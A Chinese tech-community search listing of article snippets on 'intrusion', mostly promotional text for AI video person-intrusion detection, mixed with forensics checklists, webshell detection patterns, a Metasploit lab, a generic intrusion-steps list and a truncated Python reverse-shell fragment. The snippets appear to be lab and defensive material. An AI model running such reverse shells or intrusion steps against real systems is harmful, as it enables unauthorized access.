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TSINGSEE青犀视频分析边缘计算AI算法·人员区域入侵算法应用
旭帆科技AI智能人员/区域入侵算法可以应用于以下场景：1. 安防监控系统TSINGSEE青犀视频人员/区域入侵算法可用于对重要场所（如银行、博物馆、政府机关）进行实时监控，当有未经授权的人员进入受限区域时，系统会发出警报并记录相关信息。2. 建筑物安全TSINGSEE青犀人员/区域入侵算法可用于保护大型建筑物（如商业办公楼、医院、学校）内部的受限区域，防止未经授权的人员进入，以确保人员和财产的安全。3. 工地安全TSINGSEE青犀人员/区域入侵算法可在工地内设置区域入侵检测系统，以防止未经授权的人员进入危险区域或限制区域，从而减少事故发生的风险。4. 公共交通安全TSINGSEE青犀人员/区域入侵算法可在火车站、地铁站等交通枢纽设置区域入侵检测系统，以确保无人员进入受限区域，减少恶意破坏和安全事故的发生。
40920编辑于 2023-09-08 - 来自专栏TSINGSEE青犀视频
基于边缘AI计算的人员入侵检测CNN算法在实际场景中的应用
目前较为常见的人员入侵检测有电子围栏入侵探测、红外对射探测、震动电缆入侵探测等等。随着人工智能计算机视觉技术的快速发展，基于AI深度学习算法的入侵检测也越来越普及。 ，对视频图像进行人员入侵检测。 无论是前端的边缘智能，还是后端智能，人员入侵检测技术均是基于深度学习AI算法，通过视频监测周界或区域是否有人员入侵。 边缘AI智能在当前也已经成为一种趋势，今天我们来浅析下基于边缘AI计算的人员入侵识别技术。人员入侵检测基于CNN算法，可实现对人体的精准检测与识别，以及对人员的目标跟踪。 在实际检测时，经历了以下几个过程：1）对视频图像进行分析；2）提取视频图像中的运动目标；3）判断运动目标是否进入指定区域的周界；4）当判断运动目标进入指定区域的周界时，便向监控平台发出报警信息；5）同时传输该区域的视频图像实时在显示屏上进行显示
2K20编辑于 2022-11-18 - 来自专栏安恒信息
两名餐饮人员告诉你入侵取款机拿现金竟是如此简单
这是一起针对低端取款机实施盗窃的成功入侵案例。已过世的黑客巴拿比·杰克曾在2010年的黑客大会上演示过让Tranzx和Trident两种品牌的取款机吐钞。 但法塔赫他们入侵的取款机却并不需要黑客软件或物理工具。这些街头的低端取款机通过在键盘上以特定的顺序按键，就可以将其设置成“操作员模式”。 2008年，2个21岁的年经人从内布拉斯加的一个连锁零售店分3次取走了1400美元。2010年，北卡罗莱纳一家杂货店的职员戴着假发“拜访”了30台ATM，但最终由于同事告发，被警方抓获。
80340发布于 2018-04-11 - 来自专栏VMCloud
冲上云霄-云从业人员随笔（2）
---- 1、我们登陆下腾讯云官网，随手购买一个TKE（腾讯K8S服务）环境就可以完成笔者以前做了几个月的Docker环境，进入腾讯云容器服务界面： 1.jpg 2、费用方面才不到每小时1元，这是一个令人感动的开发成本 2.jpg 3、全部搞定后确认信息再创建即可 3.jpg 4、这个时候你就会发现一台全新的“类VM”出现在你面前，对比下当年研究MesOS(http://vmcloud.info/? /0.5C明显跑起来比较吃力，“永动进程示例”（感谢腾讯云一线客服 张林源同学 友情支持） image.png 由于是实验环境，所以手动安装了openssh-server image.png 2、
1.1K50发布于 2019-08-09 - 来自专栏TSINGSEE青犀视频
TSINGSEE智慧安防：AI人员入侵检测算法的工作原理及应用场景概述
人员入侵检测算法基于视频分析技术，自动对视频画面进行分析识别，可以对危险区的人员闯入、靠近等行为进行实时进行检测并预警，无需人工干预，协助管理者对场所的安全问题进行监管，可以广泛运用在学校、园区、工地、 旭帆科技AI智能分析网关是基于边缘计算技术的硬件网关，内置了几十种AI算法模型，其中就包括人员入侵检测，用于监控区域发生人员入侵的事件，并能预警。 ，结合危险区域的边界信息，判断该人体是否闯入危险区域；5）报警处理：若检测到人员入侵事件/闯入危险区域时，系统会发出报警信号，并进行相应的处理，例如录像、发送告警信息等。 TSINGSEE青犀AI智能分析网关采用AI算法，通过大量真实场景样本训练后，可以在各种应用领域下及时有效地对场景下所发生的人员入侵行为进行识别并预警，通过对实时监控图像进行数据分析和识别，能够实现重点区域的周界安全防护等功能 2）视频汇聚管理平台能实现分散视频监控资源的统一汇聚与集中管理，并采用设备树进行分组、分级管理、角色与权限配置等。
1.3K30编辑于 2023-11-02 - 来自专栏TSINGSEE青犀视频
TSINGSEE视频智能分析人员入侵AI检测算法如何让城市管理更加高效、智慧？
传统的人员巡逻监管效率低并且存在时间差，很难及时发现这些违规行为，因此，利用AI智能检测技术，尤其是人员入侵检测算法的应用，对城市的这些小场景进行智能监管，不仅可以提高监管效率，同时也能在第一时间发现安全隐患行为并做到及时提醒和处理 TSINGSEE视频AI智能分析系统内置了40多种深度学习算法，其中，人员入侵检测算法是指，系统可以对视频画面中划定区域内出现的人体进行自动识别与告警。 系统利用AI视频分析技术，能对人员入侵行为进行检测，如果有人在指定区域停留超过设定时间，则进行入侵告警，并抓拍图片，同时将告警消息上传至视频监控系统EasyCVR平台。 人员入侵AI检测算法的应用，可将城市管理过程中禁止闯入的区域全部纳入智能管理体系中，通过算法的部署，来实现智能值守、少人值班等智能化监管目的。 TSINGSEE视频AI智能分析系统可以将城市部署在河道、水域、公园、道路等重点区域或危险区域的摄像头通过RTSP协议进行接入，并对设备采集的视频流进行实时分析，对人员入侵行为进行识别与告警。
48950编辑于 2023-11-09 - 来自专栏基础项目部署
centos入侵溯源
jndi|excute|%20|system|exec|passthru|shell_exec|popen|proc_open'三、 查看系统日志分析登陆日志继续分析登陆日志，查看失陷主机是否有其他被入侵的途径分析方式 \.#(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?) \.(25[0-5]|2[0-4] [0-9]|[01]?[0-9][0-9]?)" print $9}' | sort | uniq -c | sort -nr四、扫描异常文件我们对服务器进行扫描，检测是否存在异常的文件（如webshell文件或者其他挖矿脚本文件），从文件中尝试分析服务器被入侵原因主要借助工具 ，但是通常情况下从文件中尝试分析服务器被入侵原因成功率不高，因为攻击者通常不会在文件里面留下入侵痕迹参考命令egrep 'eval|\$_POST|\$_REQUEST|\$_GET|assert' /
78120编辑于 2024-08-19 - 来自专栏白安全组
Linux入侵小结
[tty...] who [OPTION]... [ FILE | ARG1 ARG2 ] 参数说明： 查看系统登录情况 last：不带任何参数，显示系统的登录以及重启情况 last 只针对关机/重启 ls -l /etc/passwd：查看passwd最后修改时间 awk -F: '$3==0 {print $1}' /etc/passwd：查看是否存在特权用户 awk -F: 'length($2) 查看进程所打开的端口及文件 检查隐藏进程 注：以上3个步骤为检查隐藏进程 ps -ef | awk '{print }' | sort -n | uniq >1 ls /proc | sort -n |uniq >2 diff 1 2 0x04 其他检查 检查文件 find / -uid 0 -print：查找特权用户文件 find / -size +10000k -print：查找大于10000k的文件 find
2.8K20发布于 2019-08-15 - 来自专栏黑客技术家园
IPC远程入侵
mod=collection&action=view&ctid=43 2、病毒免杀技术-特征码免杀 http://bbs.ichunqiu.com/thread-6802-1-1.html 正文 两个步骤 首先给大家介绍一下实验环境 实验环境： 攻击机IP地址：10.1.1.2 靶机IP地址：10.1.1.110 首先我们来准备一下，我们需要的工具 工具： Metasploit 远控木马（远控木马生成大家看我的相关资料2）
1.8K30发布于 2021-04-02 - 来自专栏黑客技术家园
网络入侵步骤
2. 检查开放的端口，获得服务软件及版本。 3. 检查服务软件是否存在漏洞，如果是，利用该漏洞远程进入系统；否则进入下一步。 4. 2. 检查本地服务是否存在漏洞，如果是，利用该漏洞提升权限，否则进入下一步。 3. 检查本地服务是否存在脆弱帐号或密码，如果是，利用该帐号或密码提升权限；否则进入下一步。 4. 检查配置目录(*2)中是否存在敏感信息可以利用。 6. 检查用户目录中是否存在敏感信息可以利用。 7. 检查临时文件目录(*3)是否存在漏洞可以利用。 8.
1.4K20发布于 2021-04-02 - 来自专栏科控自动化
以工艺人员视角去看待被控对像2
我们来畅想一个理想工程的模式，所有相关的设计人员通过各种方式工作在同一个平台上，所有阶段的各类数据在整个平台上畅通流动，前端设计人员可以把工艺设计的不同工况下仿真数据导入，那么可以自动生成相关的工艺流程图里的设备 而假如出现了之前的设计变更，我们只需要在统一平台上提出，那么相关的变更需求便会在各阶段相关设计人员面前呈现，通过数字化手段确认后，快速传递到各阶段设计人员处。 图5 PCS 7的反应釜画面 通过之前的反推过程，我们可以看到，其实大家工作对象都是同样一个目标，只是不同人员在不同阶段考虑的事情不太一样，工艺人员和我们自动化工程师看待同一个对象，角度是不一样的。 这样会导致我们和工艺人员说的同一件事可能出现偏差。对于工艺人员来说，其实他们并不关心你模块如何接线，你用的是什么AI模块，什么信号。他们只希望你能让这个信号测量正常，并且保证压力值在哪个范围。 我们针对的都是P201这个工艺对象，前端工艺设计人员关心的是P201可能涉及的管径，材质等，仪表设计人员关心的是P201对应的仪表本身，电气设计人员关心的是P201的供电等，自动化设计人员关心的是P201
58121编辑于 2022-03-29 - 来自专栏cs
kali入侵windows
因为我是一个爱好和平的人（捂嘴笑），所以就在虚拟机中，创建二个系统，一个kali，一个windows xp，来进行这次入侵实验，以此迈入hacke的大门。 虚拟交换机又称为虚拟网络，其名称为VMnet0、VMnet1、VMnet2，以此类推。有少量虚拟交换机会默认映射到特定网络。 2.0 为了试验效果明显，最好关闭掉windows的防火墙，这样入侵更容易，而且自己原本的主机把杀毒软件也关闭了。 入侵开始 1.0 查看linux的ip地址 root@kali:~# ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 ttl=128 time=0.395 ms --- 192.168.201.135 ping statistics --- 2 packets transmitted, 2 received, 0%
4.5K130发布于 2018-04-27 - 来自专栏SEO优化知识
SEO2大特性，值得每个SEO人员关注
SEO是一个坚持的过程，对于大量SEO人员而言，由于搜索引擎算法不断变更带来的不稳定性，使得很多刚入行的新人，在SEO项目运营的时候，而中途放弃，实际上，只是在多坚持那么一点点，你可能离成功的曙光就会更进一步 7.jpg 那么，SEO2大特性，值得每个SEO人员关注的是什么？ 整个营销的建设大体可以分为 1、选定一个领域; 2、研究这个领域，成为这个领域的专家; 3、以这个领域为题材建设一个网站; 4、开始贩卖与这个领域相干的产品或服务。 2、在某一个领域具有权威性、可信度你是这个领域的专家，你的网站具有权威性，那么对于后续的成交很有帮助。也由于具有权威性，顾客是一方面，上游供应商又是一方面。 SEO归根结底，就是做2方面的事情，一搞定搜索引擎，二搞定用户和商务合作伙伴。我们需要的是通过SEO，让彼此能够通过网络产生关联，进而寻求进一步的商业机会。
37820发布于 2020-11-24 YashanDB反入侵
在数据库层建立防火墙主要用于检测和防御外部入侵风险，可以采用如下机制： 建立IP黑/白名单，白名单里的IP上所发起的登录请求才允许连接，黑名单里的IP上所发起的登录请求不允许连接。
57400编辑于 2025-03-04- 来自专栏技术杂记
一个运维人员的编程思维2
yum: name=httpd state=latest - name: write the apache config file template: src=/srv/httpd.j2
34730发布于 2021-11-26 - 来自专栏HAUE_LYS'Blog
乳草的入侵
Original Link 思想： BFS。 难点一，处理地图坐标和转换： 题目的地图坐标和二维数组坐标不照应； 则，第 a 排 b 列需要转换为 mp[n - b][a - 1]。 难点二，记录消耗的天数： 由于 BFS 搜索不能记录当前搜索的是第几层； 则，考虑在新搜索到的点额外增加参数 w，来记录该点在第几周被感染； 最后用 res 维护最大的 w 即为答案。 最后，搜索时要枚举八个方向，利用偏移量数组解决即可。 代码： #include <bits/stdc++.h> using namesp
1K10编辑于 2023-03-11 - 来自专栏字节脉搏实验室
入侵检测系统建设及常见入侵手法应对
入侵检测技术从结构上包含：入侵检测知识库、入侵检测主体、入侵检测体系等子结构。 ? 1. 通过特征、模型、异常检测等手段进行入侵防御。 2. 部署于主机之上，实现无盲区覆盖。 关联性差，难以和其他入侵检测系统进行适配，无法完善的贴合已有入侵检测框架及入侵检测体系。 响应度差，需求得不到及时的回应，总是会被排期。 2. 解决入侵检测效率低下的问题 散乱无章的入侵检测实例各自为战、不能统一结合，既无法产生十分准确的感知，每个实例又单独生产出海量告警，使运营人员响应效率低下，长期以往意志消耗殆尽，从而丧失作战能力。 避免制度发生变更后同步至策略、框架困难； 避免一类入侵检测实例发生问题后，导致其他入侵检测实例功能失效； 避免主体与框架过度耦合，如发生人员离职后检测框架因入侵检测实例缺乏维护，影响整个入侵检测系统正常运行 制度：包含在入侵检测体系内 框架：包含在入侵检测框架内 2.
6.6K40发布于 2021-04-20 - 来自专栏PyQt5
python3GUI--基于PyQt5+DeepSort+YOLOv8智能人员入侵检测系统（详细图文介绍）
一．前言本次使用PyQt5+DeepSort实现了一个智能人员入侵检测系统，系统包括多个区域支持ROI感兴趣区域标注告警，支持展示区域内标签显隐控制，自动统计全部目标以及ROI区域内目标 ，支持数据导出、入侵人员照片查看，动态阈值调整。 图片图片7.入侵人员检测入侵人员检测是指通过监控系统（如视频监控、红外传感器、雷达等）对特定区域进行实时监测，自动识别和判断是否有未经授权的人员进入。 图片8.入侵人员信息表格在这个表格区域展示了所有入侵人员的图像以及ID，用户可以比对目标图像以及实时画面检测结果，鼠标放上去会有个发光的效果，表示用户正在和目标进行交互。 10.系统功能总览我们用一张图展示当前系统的主要核心功能本系统是根据“人员中心点是否在ROI区域判断人员是否入侵”四．项目运行环境1.项目依赖博主是在Windows电脑上使用Python3.8开发的本系统
47810编辑于 2025-07-22 - 来自专栏FreeBuf
Pwn2Own 2021现场实录：苹果失宠？Zoom、Chrome被入侵
今年的Pwn2Own 黑客大赛，依旧是白帽黑客的狂欢。 作为Pwn2Own历史上规模最大的活动之一，此次累计有23次独立的黑客尝试，涉及10 种不同产品，包括网络浏览器、虚拟化、服务器等。 Day1：尝试7次，成功5次 Safari 漏洞，斩获10万美元奖金 来自RET2系统公司的Jack Dates利用Safari中的整数溢出和OOB写入，实现内核级代码执行，为自己赢得了10万美元，并获得 Day2 ：尝试8次，成功7次，部分成功1次 三重缺陷，触发Zoom零交互漏洞 在荷兰研究人员 Daan Keuper 和 Thijs Alkemade的配合下，一个有趣但严重的Zoom漏洞被曝出。 Chrome渲染器和Microsoft Edge利用 Day2第二高奖金则落入Dataflow Security的安全研究人员Bruno Keith和Niklas Baumstark手中。 针对相关漏洞，Pwn2Own给予苹果等厂商90天的时间完成修复，因此可以关注后续厂商安全更新。
82420发布于 2021-04-16 - 来自专栏ops技术分享
Linux入侵 反弹shell
标准错误输出(stderr)：代码为 2 ，使用 2> 或 2>> 很多资料都会告诉我们，2>&1是将标准错误输出合并到标准输出中，但是这四个符号具体要如何理解呢？ 我刚开始直接将2>看做标准错误输出，将&看做and，将1看做标准输出。这样理解好像也挺对，但是如果是这样的话0>&1又该如何理解呢？ s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' python 接着执行os库的dup2函数来进行重定向。 dup2传入两个文件描述符，fd1和fd2（fd1是必须存在的），如果fd2存在，就关闭fd2，然后将fd1代表的那个文件强行复制给fd2，fd2这个文件描述符不会发生变化，但是fd2指向的文件就变成了
6.9K30发布于 2021-05-27
腾讯云开发者
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